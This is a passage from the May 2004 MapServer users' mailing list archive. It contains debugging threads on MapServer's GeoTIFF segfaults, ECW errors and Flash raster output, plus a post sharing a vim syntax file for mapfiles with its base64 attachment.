stat64("/var/www/html/workshop/data/../last/gr_20k_montelimar_v1.tif", {st_mode=S_IFREG|0444, st_size=3520136, ...}) = 0 open("/var/www/html/workshop/data/../last/gr_20k_montelimar_v1.tif", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0444, st_size=3520136, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000 read(3, "MM\0*\0005\254\250\302\232\3i\364i\250\201\232\370\232"..., 4096) = 4096 _llseek(3, 0, [0], SEEK_SET) = 0 open("/var/www/html/workshop/data/../last/gr_20k_montelimar_v1.tif", O_RDONLY) = 4 read(4, "MM\0*\0005\254\250", 8) = 8 lseek(4, 3517608, SEEK_SET) = 3517608 read(4, "\0\24", 2) = 2 read(4, "\0\376\0\4\0\0\0\1\0\0\0\0\1\0\0\3\0\0\0\1\23K\0\0\1\1"..., 240) = 240 read(4, "\0\0\0\0", 4) = 4 --- SIGSEGV (Segmentation fault) @ 0 (0) --- +++ killed by SIGSEGV +++ [root at sx-dubois osdy8515]# grep tiff /tmp/mapserv.log open("/usr/lib/libtiff.so.3", O_RDONLY) = 3 (with geotiff in this .log) i used tiff2png ans with .png no segmentation fault yet. -----------------.log-------------------- stat64("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.png", {st_mode=S_IFREG|0644, st_size=1906690, ...}) = 0 open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.png", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=1906690, ...}) = 0 open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.png/hdr.adf", O_RDONLY) = -1 ENOTDIR (Not a dire ctory) open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.png/HDR.ADF", O_RDONLY) = -1 ENOTDIR (Not a dire ctory) open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.png", O_RDONLY) = 4 fstat64(4, {st_mode=S_IFREG|0644, st_size=1906690, ...}) = 0 stat64("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.png.ovr", 0xbfffae50) = -1 ENOENT (No such fil e or directory) open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.wld", O_RDONLY) = -1 ENOENT (No such file or dir ectory) open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.WLD", O_RDONLY) = -1 ENOENT (No such file or dir ectory) open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.tfw", O_RDONLY) = 4 open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.tfw", O_RDONLY) = 4 fstat64(4, {st_mode=S_IFREG|0777, st_size=222, ...}) = 0 open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.tifw", O_RDONLY) = -1 ENOENT (No such file or di rectory) open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.TIFW", O_RDONLY) = -1 ENOENT (No such file or di rectory) open("26-20k/gr_20k_montelimar_v1.wld", O_RDONLY) = -1 ENOENT (No such file or directory) open("26-20k/gr_20k_montelimar_v1.WLD", O_RDONLY) = -1 ENOENT (No such file or directory) open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.wld", O_RDONLY) = -1 ENOENT (No such file or dir ectory) open("/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.WLD", O_RDONLY) = -1 ENOENT (No such file or dir ectory) open("/var/www/html/workshop/data/Clients.shp", O_RDONLY) = 3 open("/var/www/html/workshop/data/Clients.shx", O_RDONLY) = 4 fstat64(3, {st_mode=S_IFREG|0777, st_size=2872, ...}) = 0 fstat64(4, {st_mode=S_IFREG|0777, st_size=892, ...}) = 0 open("/var/www/html/workshop/data/Clients.dbf", O_RDONLY) = 5 fstat64(5, {st_mode=S_IFREG|0777, st_size=74901, ...}) = 0 open("/var/www/html/tmp/MONTELIMAR10855035467647.png", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 open("/var/www/html/tmp/MONTELIMARleg10855035467647.png", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 open("/var/www/html/tmp/MONTELIMARsb10855035467647.png", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 open("/var/www/html/workshop/data/png/gr_20k_montelimar_v1.png", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0777, st_size=14325, ...}) = 0 open("/var/www/html/tmp/MONTELIMARref10855035467647.png", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4 fstat64(4, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 fstat64(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 open("/var/www/html/workshop/montelimar_basic.html", O_RDONLY) = 4 fstat64(4, {st_mode=S_IFREG|0777, st_size=2992, ...}) = 0 but there's still no display in my web page :-( (see http://www.esm2.imt-mrs.fr/~sdubois/sig/sig.html to see all my files) with these new information i conclude that i'll remove the mapserv installed with urmpi (mandrake package) and build it by hands ... but there's really a problem with geotiff.tiff reading on old post i could read to build --without tiff mapserv. are you agree with this??? thanks in advance -- S?bastien DUBOIS Ecole G?n?raliste d'Ing?nieurs de Marseille (ex ESM2) 1024D/A1140BCB Empreinte de la cl? = 1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB disponible sur www.keyserver.net _____________ |LAST POSTS |: |___________| Thanks so much for your last answer. It gives me energy to succeed ;-) Well i've done all what you explain me. In fact in my .map when i put as a layer a .tif there's an error ----------------- Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, root at localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. Apache-AdvancedExtranetServer/1.3.28 Server at sx-dubois.rd.francetelecom.fr Port 80 ---------------- In command line in this case [root at sx-dubois cgi-bin]# ./shp2img -m /var/www/html/workshop/montelimar.map -o out.png Segmentation fault perhaps my .tif is too heavy ? (3 Mo ...) Other reason tif and not tiff but but renaming my file in .tiff it's the same. So with gimp a "save as" my .tif in .png (less heavy) but this raster is not displayed too (BUT no error anymore) In command line [root at sx-dubois cgi-bin]# ./shp2img -m /var/www/html/workshop/montelimar.map -o out.png GDAL: GDALOpen(/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.png) succeeds as PNG. GDAL: GDALClose(/var/www/html/workshop/data/26-20k/gr_20k_montelimar_v1.png) GDAL: GDALDeregister_GTiff() called. I really don't understand why my .tif is not good. As you asked me, you will be able to find all the useful files on my html page http://www.esm2.imt-mrs.fr/~sdubois under FILE SIG or directly http://www.esm2.imt-mrs.fr/~sdubois/sig/sig.html I will explain you more how is build my test. in fact i've modify the tutorial itasca so my mapfile is montelimar.map my index still index.html and my basic page montelimar_basic.html in my mapfile there are two layers: the first must be my raster (gr_20k_montelimar_v1.tif) and the second one is my shape file Clients .shp (there's no problem for the shape file to be displayed.) (i haven't put on the web site .dbf....) i work under mandrake 9.2 and MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE I don't have "world file" but you will see and my html site a .text, .tab and .tfw related with my .tif What i've noted is that mapserv generate .jpeg ok (MONTELIMARxxxxxxxxxxxxx.jpg) but this generated file from my .png are without the layer raster. thanks in advance S?bastien ps: my cgi and mapser server is under a proxy and firewall so no access possible directly... S?bastien DUBOIS wrote: > First sorry to "spam" you > I really need to debug my mapserver application but i haven't found any good > help on forum or mailing list. > My problem is on displaying a raster .tif as a "background" on my mapserver > application. (shape points are displayed ok at this time) > I've used as an example the very good tutorial itasca and your "how to raster" > without results. > > In fact my .shp (layer) is very well displayed and zoom , pan ... works on it > My reference works too > But my layer RASTER isn't displayed!!! > I've test a lot of differents implementations without sucess.... > LAYER > NAME "montelimar" > DATA "data/gr_20k_montelimar_v1.png" > TYPE RASTER > STATUS ON > END S?bastien, First, for testing leave the STATUS at DEFAULT. I see you do in some of your tests. Second, you need to verify that the raster file is being correctly found. I would suggest you use an absolute path for now so we can rule out path issues. Third, we need to verify that the georeferencing of the raster file is what you expect. I would normally use the "gdalinfo" utility to report on the contents of the file. Do you have that utility? It is part of a full GDAL install. If not, perhaps you could make the file (in TIFF format) available somewhere so I can download and inspect it. Does it have a world file (.wld)? If none of the above seem to help, the next thing to do is to start collecting debugging information to find out what MapServer is doing. 1) Set "DEFAULT ON" in the MAP object and the raster LAYER object. 2) Review debug info in the Apache log file. 3) Try running the mapfile from the commandline using "shp2img -m -o out.png". Sometimes it is easier to review debugging info this way. 4) Set the CPL_DEBUG environment variable to "ON" before running shp2img to get some GDAL level debug info. If the above steps don't seem to help, send a copy of your testing map file, all the debug output from shp2img and all the details you can provide about the raster file (gdalinfo output, world file, etc)to me and I'll see what I can figure out. By then I will have lost this most recent email of yours, so please include all details you think I will need. As you might imagine, I get a quite a few requests similar to yours and it is hard to keep track of them. Also, once you succeed consider improving the Wiki debugging topic a bit from what you learn. Best regards, Frank Warmerdam ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From armin.burger at gmx.net Wed May 26 02:01:01 2004 From: armin.burger at gmx.net (Armin Burger) Date: Wed, 26 May 2004 11:01:01 +0200 Subject: [Mapserver-users] Problems with ECW images Message-ID: <4072C9CC000791BD@it-mboxes.jrc.it> (added by postmaster@jrc.it) Hi I experienced sometimes problems with ECW images. It worked fine for a Landsat image (25 m resolution) and scales smaller than e.g. 1:100000. When zoominng in the ECW layer seems to cause errors. I checked with shp2img and setting an extent similar to the higher scale that caused problems. Then sh2img.exe crashed and I got the error ERROR 7: Assertion `iDstLine == 0' failed in file `ecwdataset.cpp', line 346 The same happened with a high resolution image (0.8 m pixel) and scale above 1:5000. I tried with the shp2img.exe from the DM Solution 'mapserver-4.0.2-win32-php4.3.4.zip' that uses the 'gdal12.dll' Any ideas what could be the problem? Armin From m.manso at euitto.upm.es Wed May 26 02:19:27 2004 From: m.manso at euitto.upm.es (m.manso at euitto.upm.es) Date: Wed, 26 May 2004 11:19:27 +0200 Subject: [Mapserver-users] Problems with mapserv4.2b2 on Windows Message-ID: <40B47D3F.27282.79C2C2@localhost> Hello This message is to advert about bugs on Windows version 4.2b2 of MapServ Problems: Dinamic html pages don't work fine as version 4.02 Problem with color images when manage a TileIndex of files ------------------------------------ Is Possible to have Windows version 4.2b3 soon? Thnak you. Miguel A. Manso Callejo E.U.I.T.Topogr?fica UPM. Madrid (Spain) From bpicinbono at worldonline.fr Wed May 26 02:23:39 2004 From: bpicinbono at worldonline.fr (=?iso-8859-1?Q?bpicinbono@worldonline.fr?=) Date: Wed, 26 May 2004 11:23:39 +0200 Subject: [Mapserver-users] =?iso-8859-1?Q?rasters_and_flash-mapserver?= Message-ID: Hi, the list, I am working with Flash-MapServer interfaces. It works great with basic shapes layers (dbf, shp, shx) and output nice swf movies; but I can't manage to use raster images. My MapServer installation works fine with input tiff raster images on basic applications, but when I try to use tiff images with my Flash-MapServer interface, it creates a temporary swf movie, which is ... a black rectangle ! I tried with jpeg images: same result (could it be a bad "--with-ming" MapServer compilation ?). I am using MapServer-4.0.2, GD-2.0.22 and Ming-0.3a. I use the FORMATOPTION "OUTPUT_MOVIE=MULTIPLE" option in my map file and my raster layer is defined in the map file this way : LAYER NAME photo META "DESCRIPTION" "photo" END TYPE RASTER STATUS ON DATA photo.tif END Has anybody managed to use raster images with Flash-MapServer ? What I am looking for is to have MapServer output swf movies for vector layers and png (or jpeg) images for raster layers. I am wondering if I can use the "2 map files method" described in the MapServerDXF wiki, but it will turn the code a bit more complex (and I haven t tried yet if it can work fine). Any idea welcomed ! Blaise ******ADSL Tiscali, le Haut d?bit au meilleur prix ****** Avec Tiscali, profitez de l'ADSL au meilleur prix partout en France ! Pour profiter de cette offre exceptionnelle, cliquez ici : http://register.tiscali.fr/adsl Sous r?serve d'?ligibilit? ? l'ADSL. From andreas_hirner at hotmail.com Wed May 26 02:36:12 2004 From: andreas_hirner at hotmail.com (Andreas Hirner) Date: Wed, 26 May 2004 11:36:12 +0200 Subject: [Mapserver-users] vim syntax file Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_115b_5804_7070 Content-Type: text/plain; format=flowed Hello List, I have written a syntax file for vi/vim. It was my first go at vim syntax files and only represents a first draft. I am sure there is still plenty of room for improvements. The keywords are based on the TextPad Symbol Map_40.syn file contributed by Christopher Thorne, which can be found on the Mapserver utility page. To register this file in vim copy map.vim (also listed at the bottom of the mail) to the vim syntax directory (on Suse: /usr/share/vim/current/syntax) and add two lines to filetype.vim (on Suse Linux: /usr/share/vim/current) according to the example shown below: " Manpage au BufNewFile,BufRead *.man setf man ############ADD############# " Map au BufNewFile,BufRead *.map setf map ############ADD############# " Maple V au BufNewFile,BufRead *.mv,*.mpl,*.mws setf maple I hope the file is somehow usefull to anybody out there. If there are any questions or suggestions, please feel free to contact me. Cheer Andreas ----------------------------------------- Dr. Andreas Hirner German Remote Sensing Data Center (DFD) German Aerospace Center (DLR) P.O.Box 11 16 Tel: +49-8153-28-3389 D-82234 Wessling Fax: +49-8153-28-1445 Germany E-mail: andreas.hirner at dlr.de ----------------------------------------- ########################## map.vim ########################## " Vim syntax file " Language: map (umn mapserver config file) " Maintainer: Andreas Hirner " Last Change: $Date: 2004/05/25 19:19:37 $ " Filenames: *.map " URL: ftp://xxx at xxx.xx/map.vim " Note: The definitions below are taken from TextPad syntax definitions (*.syn) by Chris Thorne (thorne at dmsolutions.ca) as of May 2004, for version 4.0 Mapserver " For version 5.x: Clear all syntax items " For version 6.x: Quit when a syntax file was already loaded if version < 600 syntax clear elseif exists("b:current_syntax") finish endif " Always ignore case syn case ignore " General keywords first order syn keyword mapDefine CLASS END JOIN LABEL LAYER LEGEND MAP METADATA OUTPUTFORMAT syn keyword mapDefine PROJECTION QUERYMAP REFERENCE SCALEBAR STYLE SYMBOL WEB " General keywords second order syn keyword mapIdentifier ALPHACOLOR ANGLE ANTIALIAS syn keyword mapIdentifier BACKGROUNDCOLOR BACKGROUNDSHADOWCOLOR BACKGROUNDSHADOWSIZE BUFFER syn keyword mapIdentifier CHARACTER CLASSITEM COLOR CONNECTION CONNECTIONTYPE syn keyword mapIdentifier DATA DATAPATTERN DEBUG DRIVER DUMP syn keyword mapIdentifier EMPTY ERROR EXPRESSION EXTENSION EXTENT syn keyword mapIdentifier FEATURE FILLED FILTER FILTERITEM FONT FONTSET FOOTER FORCE FORMATOPTION FROM syn keyword mapIdentifier GAP GRATICULE GRID GROUP HEADER syn keyword mapIdentifier IMAGE IMAGECOLOR IMAGEMODE IMAGEPATH IMAGEQUALITY IMAGETYPE IMAGEURL INDEX INTERLACE INTERVALS syn keyword mapIdentifier KEYIMAGE KEYSIZE KEYSPACING syn keyword mapIdentifier LABELANGLEITEM LABELCACHE LABELFORMAT LABELITEM LABELMAXSCALE LABELMINSCALE LABELREQUIRES LABELSIZEITEM LATLON LINECAP LINEJOIN LINEJOINMAXSIZE LOG syn keyword mapIdentifier MARKER MARKERSIZE MAXARCS MAXBOXSIZE MAXFEATURES MAXINTERVAL MAXSCALE MAXSIZE MAXSUBDIVIDE MAXTEMPLATE MIMETYPE syn keyword mapIdentifier MINARCS MINBOXSIZE MINDISTANCE MINFEATURESIZE MININTERVAL MINSCALE MINSIZE MINSUBDIVIDE MINTEMPLATE syn keyword mapIdentifier NAME syn keyword mapIdentifier OFFSET OFFSITE OUTLINECOLOR OVERLAYBACKGROUNDCOLOR OVERLAYCOLOR OVERLAYMAXSIZE OVERLAYMINSIZE OVERLAYOUTLINECOLOR OVERLAYSIZE OVERLAYSYMBOL syn keyword mapIdentifier PARTIALS POINTS POSITION POSTLABELCACHE PROCESSING syn keyword mapIdentifier REQUIRES RESOLUTION syn keyword mapIdentifier SCALE SHADOWCOLOR SHADOWSIZE SHAPEPATH SIZE SIZEUNITS STATUS STYLEITEM SYMBOLSCALE SYMBOLSET syn keyword mapIdentifier TABLE TEMPLATE TEMPLATEPATTERN TEXT TILEINDEX TILEITEM TITLE TO TOLERANCE TOLERANCEUNITS TRANSFORM TRANSPARENCY TRANSPAREN[T] TYPE syn keyword mapIdentifier UNITS WMS_ABSTRACT WMS_ACCESSCONSTRAINTS WMS_ONLINERESOURCE WMS_SRS WMS_TITLE WRAP " General keywords third order syn keyword mapKeyword ANNOTATION AUTO BEVEL BITMAP BUTT syn keyword mapKeyword CARTOLINE CC CIRCLE CL CR CSV DD DEFAULT syn keyword mapKeyword ELLIPSE EMBED FALSE FEET GIANT HILITE INCHES syn keyword mapKeyword KILOMETERS LARGE LC LINE LL LR syn keyword mapKeyword MEDIUM METERS MILES MITER MULTIPLE MYGIS NORMAL syn keyword mapKeyword OFF OGR ON ONE-TO-MANY ONE-TO-ONE ORACLESPATIAL syn keyword mapKeyword PIXELS PIXMAP POINT POLYGON POSTGIS QUERY RASTER ROUND syn keyword mapKeyword SDE SELECTED SIMPLE SINGLE SMALL SQUARE syn keyword mapKeyword TINY TRIANGLE TRUE TRUETYPE UC UL UR VECTOR WFS WMS " keywords for other purposes syn keyword mapTypedef SELECTION " Comment syn match mapComment "#.*" " Strings (single- and double-quote) syn region mapString start=+"+ skip=+\\\\\|\\"+ end=+"+ syn region mapString start=+'+ skip=+\\\\\|\\'+ end=+'+ " Numbers and hexidecimal values syn match mapNumber "-\=\<[0-9]*\>" syn match mapNumber "\<0x[abcdefABCDEF0-9]*\>" " Operators syn match mapOperator "EQ" syn match mapOperator "[><|\=&!$/\\()\[\]]" " Define the default highlighting. " For version 5.7 and earlier: only when not done already " For version 5.8 and later: only when an item doesn't have highlighting yet if version >= 508 || !exists("did_map_syn_inits") if version < 508 let did_map_syn_inits = 1 command -nargs=+ HiLink hi link else command -nargs=+ HiLink hi def link endif HiLink mapComment Comment HiLink mapKeyword Keyword HiLink mapIdentifier Identifier HiLink mapDefine Define HiLink mapTypedef Typedef HiLink mapNumber Number HiLink mapString String HiLink mapOperator Operator delcommand HiLink endif let b:current_syntax = "map" " vim: ts=8 _________________________________________________________________ Tired of spam? Get advanced junk mail protection with MSN 8. http://join.msn.com/?page=features/junkmail ------=_NextPart_000_115b_5804_7070 Content-Type: application/octet-stream; name="map.vim" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="map.vim" IiBWaW0gc3ludGF4IGZpbGUKIiBMYW5ndWFnZToJCW1hcCAodW1uIG1hcHNl cnZlciBjb25maWcgZmlsZSkgCiIgTWFpbnRhaW5lcjogICBBbmRyZWFzIEhp cm5lciA8YW5kcmVhcy5oaXJuZXJAZGxyLmRlPgoiIExhc3QgQ2hhbmdlOiAg JERhdGU6IDIwMDQvMDUvMjUgMTk6MTk6MzcgJAoiIEZpbGVuYW1lczogICAg Ki5tYXAKIiBVUkw6CQkJZnRwOi8veHh4QHh4eC54eC9tYXAudmltCiIgTm90 ZToJCQlUaGUgZGVmaW5pdGlvbnMgYmVsb3cgYXJlIHRha2VuIGZyb20gVGV4 dFBhZCBzeW50YXggZGVmaW5pdGlvbnMgKCouc3luKSBieSBDaHJpcyBUaG9y bmUgKHRob3JuZUBkbXNvbHV0aW9ucy5jYSkgYXMgb2YgTWF5IDIwMDQsIGZv ciB2ZXJzaW9uIDQuMCBNYXBzZXJ2ZXIKCiIgRm9yIHZlcnNpb24gNS54OiBD bGVhciBhbGwgc3ludGF4IGl0ZW1zCiIgRm9yIHZlcnNpb24gNi54OiBRdWl0 IHdoZW4gYSBzeW50YXggZmlsZSB3YXMgYWxyZWFkeSBsb2FkZWQKaWYgdmVy c2lvbiA8IDYwMAogIHN5bnRheCBjbGVhcgplbHNlaWYgZXhpc3RzKCJiOmN1 cnJlbnRfc3ludGF4IikKICBmaW5pc2gKZW5kaWYKCiIgQWx3YXlzIGlnbm9y ZSBjYXNlCnN5biBjYXNlIGlnbm9yZQoKIiBHZW5lcmFsIGtleXdvcmRzIGZp cnN0IG9yZGVyCnN5biBrZXl3b3JkIG1hcERlZmluZSAJCUNMQVNTIEVORCBK T0lOIExBQkVMIExBWUVSIExFR0VORCBNQVAgTUVUQURBVEEgT1VUUFVURk9S TUFUCnN5biBrZXl3b3JkIG1hcERlZmluZSAJCVBST0pFQ1RJT04gUVVFUllN QVAgUkVGRVJFTkNFIFNDQUxFQkFSIFNUWUxFIFNZTUJPTCBXRUIKCiIgR2Vu ZXJhbCBrZXl3b3JkcyBzZWNvbmQgb3JkZXIKc3luIGtleXdvcmQgbWFwSWRl bnRpZmllcglBTFBIQUNPTE9SIEFOR0xFIEFOVElBTElBUwpzeW4ga2V5d29y ZCBtYXBJZGVudGlmaWVyCUJBQ0tHUk9VTkRDT0xPUiBCQUNLR1JPVU5EU0hB RE9XQ09MT1IgQkFDS0dST1VORFNIQURPV1NJWkUgQlVGRkVSCnN5biBrZXl3 b3JkIG1hcElkZW50aWZpZXIJQ0hBUkFDVEVSIENMQVNTSVRFTSBDT0xPUiBD T05ORUNUSU9OIENPTk5FQ1RJT05UWVBFCnN5biBrZXl3b3JkIG1hcElkZW50 aWZpZXIJREFUQSBEQVRBUEFUVEVSTiBERUJVRyBEUklWRVIgRFVNUApzeW4g a2V5d29yZCBtYXBJZGVudGlmaWVyCUVNUFRZIEVSUk9SIEVYUFJFU1NJT04g RVhURU5TSU9OIEVYVEVOVApzeW4ga2V5d29yZCBtYXBJZGVudGlmaWVyCUZF QVRVUkUgRklMTEVEIEZJTFRFUiBGSUxURVJJVEVNIEZPTlQgRk9OVFNFVCBG T09URVIgRk9SQ0UgRk9STUFUT1BUSU9OIEZST00Kc3luIGtleXdvcmQgbWFw SWRlbnRpZmllcglHQVAgR1JBVElDVUxFIEdSSUQgR1JPVVAgSEVBREVSCnN5 biBrZXl3b3JkIG1hcElkZW50aWZpZXIJSU1BR0UgSU1BR0VDT0xPUiBJTUFH RU1PREUgSU1BR0VQQVRIIElNQUdFUVVBTElUWSBJTUFHRVRZUEUgSU1BR0VV UkwgSU5ERVggSU5URVJMQUNFIElOVEVSVkFMUwpzeW4ga2V5d29yZCBtYXBJ ZGVudGlmaWVyCUtFWUlNQUdFIEtFWVNJWkUgS0VZU1BBQ0lORwpzeW4ga2V5 d29yZCBtYXBJZGVudGlmaWVyCUxBQkVMQU5HTEVJVEVNIExBQkVMQ0FDSEUg TEFCRUxGT1JNQVQgTEFCRUxJVEVNIExBQkVMTUFYU0NBTEUgTEFCRUxNSU5T Q0FMRSBMQUJFTFJFUVVJUkVTIExBQkVMU0laRUlURU0gTEFUTE9OIExJTkVD QVAgTElORUpPSU4gTElORUpPSU5NQVhTSVpFIExPRwpzeW4ga2V5d29yZCBt YXBJZGVudGlmaWVyCU1BUktFUiBNQVJLRVJTSVpFIE1BWEFSQ1MgTUFYQk9Y U0laRSBNQVhGRUFUVVJFUyBNQVhJTlRFUlZBTCBNQVhTQ0FMRSBNQVhTSVpF IE1BWFNVQkRJVklERSBNQVhURU1QTEFURSBNSU1FVFlQRQpzeW4ga2V5d29y ZCBtYXBJZGVudGlmaWVyCU1JTkFSQ1MgTUlOQk9YU0laRSBNSU5ESVNUQU5D RSBNSU5GRUFUVVJFU0laRSBNSU5JTlRFUlZBTCBNSU5TQ0FMRSBNSU5TSVpF IE1JTlNVQkRJVklERSBNSU5URU1QTEFURQpzeW4ga2V5d29yZCBtYXBJZGVu dGlmaWVyCU5BTUUKc3luIGtleXdvcmQgbWFwSWRlbnRpZmllcglPRkZTRVQg T0ZGU0lURSBPVVRMSU5FQ09MT1IgT1ZFUkxBWUJBQ0tHUk9VTkRDT0xPUiBP VkVSTEFZQ09MT1IgT1ZFUkxBWU1BWFNJWkUgT1ZFUkxBWU1JTlNJWkUgT1ZF UkxBWU9VVExJTkVDT0xPUiBPVkVSTEFZU0laRSBPVkVSTEFZU1lNQk9MCnN5 biBrZXl3b3JkIG1hcElkZW50aWZpZXIJUEFSVElBTFMgUE9JTlRTIFBPU0lU SU9OIFBPU1RMQUJFTENBQ0hFIFBST0NFU1NJTkcKc3luIGtleXdvcmQgbWFw SWRlbnRpZmllcglSRVFVSVJFUyBSRVNPTFVUSU9OCnN5biBrZXl3b3JkIG1h cElkZW50aWZpZXIJU0NBTEUgU0hBRE9XQ09MT1IgU0hBRE9XU0laRSBTSEFQ RVBBVEggU0laRSBTSVpFVU5JVFMgU1RBVFVTIFNUWUxFSVRFTSBTWU1CT0xT Q0FMRSBTWU1CT0xTRVQKc3luIGtleXdvcmQgbWFwSWRlbnRpZmllcglUQUJM RSBURU1QTEFURSBURU1QTEFURVBBVFRFUk4gVEVYVCBUSUxFSU5ERVggVElM RUlURU0gVElUTEUgVE8gVE9MRVJBTkNFIFRPTEVSQU5DRVVOSVRTIFRSQU5T Rk9STSBUUkFOU1BBUkVOQ1kgVFJBTlNQQVJFTltUXSBUWVBFCnN5biBrZXl3 b3JkIG1hcElkZW50aWZpZXIJVU5JVFMgV01TX0FCU1RSQUNUIFdNU19BQ0NF U1NDT05TVFJBSU5UUyBXTVNfT05MSU5FUkVTT1VSQ0UgV01TX1NSUyBXTVNf VElUTEUgV1JBUAoKIiBHZW5lcmFsIGtleXdvcmRzIHRoaXJkIG9yZGVyCnN5 biBrZXl3b3JkIG1hcEtleXdvcmQJCUFOTk9UQVRJT04gQVVUTyBCRVZFTCBC SVRNQVAgQlVUVCAKc3luIGtleXdvcmQgbWFwS2V5d29yZAkJQ0FSVE9MSU5F IENDIENJUkNMRSBDTCBDUiBDU1YgREQgREVGQVVMVApzeW4ga2V5d29yZCBt YXBLZXl3b3JkCQlFTExJUFNFIEVNQkVEIEZBTFNFIEZFRVQgR0lBTlQgSElM SVRFIElOQ0hFUwpzeW4ga2V5d29yZCBtYXBLZXl3b3JkCQlLSUxPTUVURVJT IExBUkdFIExDIExJTkUgTEwgTFIKc3luIGtleXdvcmQgbWFwS2V5d29yZAkJ TUVESVVNIE1FVEVSUyBNSUxFUyBNSVRFUiBNVUxUSVBMRSBNWUdJUyBOT1JN QUwKc3luIGtleXdvcmQgbWFwS2V5d29yZAkJT0ZGIE9HUiBPTiBPTkUtVE8t TUFOWSBPTkUtVE8tT05FIE9SQUNMRVNQQVRJQUwKc3luIGtleXdvcmQgbWFw S2V5d29yZAkJUElYRUxTIFBJWE1BUCBQT0lOVCBQT0xZR09OIFBPU1RHSVMg UVVFUlkgUkFTVEVSIFJPVU5ECnN5biBrZXl3b3JkIG1hcEtleXdvcmQJCVNE RSBTRUxFQ1RFRCBTSU1QTEUgU0lOR0xFIFNNQUxMIFNRVUFSRQpzeW4ga2V5 d29yZCBtYXBLZXl3b3JkCQlUSU5ZIFRSSUFOR0xFIFRSVUUgVFJVRVRZUEUg VUMgVUwgVVIgVkVDVE9SIFdGUyBXTVMKCiIga2V5d29yZHMgZm9yIG90aGVy IHB1cnBvc2VzCnN5biBrZXl3b3JkIG1hcFR5cGVkZWYJCVNFTEVDVElPTgoK IiBDb21tZW50CnN5biBtYXRjaCBtYXBDb21tZW50CQkiIy4qIgoKIiBTdHJp bmdzIChzaW5nbGUtIGFuZCBkb3VibGUtcXVvdGUpCnN5biByZWdpb24gbWFw U3RyaW5nCQkgc3RhcnQ9KyIrICBza2lwPStcXFxcXHxcXCIrICBlbmQ9KyIr CnN5biByZWdpb24gbWFwU3RyaW5nCQkgc3RhcnQ9KycrICBza2lwPStcXFxc XHxcXCcrICBlbmQ9KycrCgoiIE51bWJlcnMgYW5kIGhleGlkZWNpbWFsIHZh bHVlcwpzeW4gbWF0Y2ggbWFwTnVtYmVyCQkJIi1cPVw8WzAtOV0qXD4iCnN5 biBtYXRjaCBtYXBOdW1iZXIJCQkiXDwweFthYmNkZWZBQkNERUYwLTldKlw+ IgoKIiBPcGVyYXRvcnMKc3luIG1hdGNoIG1hcE9wZXJhdG9yCQkiRVEiCnN5 biBtYXRjaCBtYXBPcGVyYXRvcgkJIls+PHxcPSYhJC9cXCgpXFtcXV0iCgoK IiBEZWZpbmUgdGhlIGRlZmF1bHQgaGlnaGxpZ2h0aW5nLgoiIEZvciB2ZXJz aW9uIDUuNyBhbmQgZWFybGllcjogb25seSB3aGVuIG5vdCBkb25lIGFscmVh ZHkKIiBGb3IgdmVyc2lvbiA1LjggYW5kIGxhdGVyOiBvbmx5IHdoZW4gYW4g aXRlbSBkb2Vzbid0IGhhdmUgaGlnaGxpZ2h0aW5nIHlldAppZiB2ZXJzaW9u ID49IDUwOCB8fCAhZXhpc3RzKCJkaWRfbWFwX3N5bl9pbml0cyIpCiAgaWYg dmVyc2lvbiA8IDUwOAogICAgbGV0IGRpZF9tYXBfc3luX2luaXRzID0gMQog ICAgY29tbWFuZCAtbmFyZ3M9KyBIaUxpbmsgaGkgbGluayA8YXJncz4KICBl bHNlCiAgICBjb21tYW5kIC1uYXJncz0rIEhpTGluayBoaSBkZWYgbGluayA8 YXJncz4KICBlbmRpZgoKICBIaUxpbmsgbWFwQ29tbWVudAkJQ29tbWVudAog IEhpTGluayBtYXBLZXl3b3JkCQlLZXl3b3JkCiAgSGlMaW5rIG1hcElkZW50 aWZpZXIJSWRlbnRpZmllcgogIEhpTGluayBtYXBEZWZpbmUJCURlZmluZQog IEhpTGluayBtYXBUeXBlZGVmCQlUeXBlZGVmCiAgSGlMaW5rIG1hcE51bWJl cgkJTnVtYmVyCiAgSGlMaW5rIG1hcFN0cmluZwkJU3RyaW5nCiAgSGlMaW5r 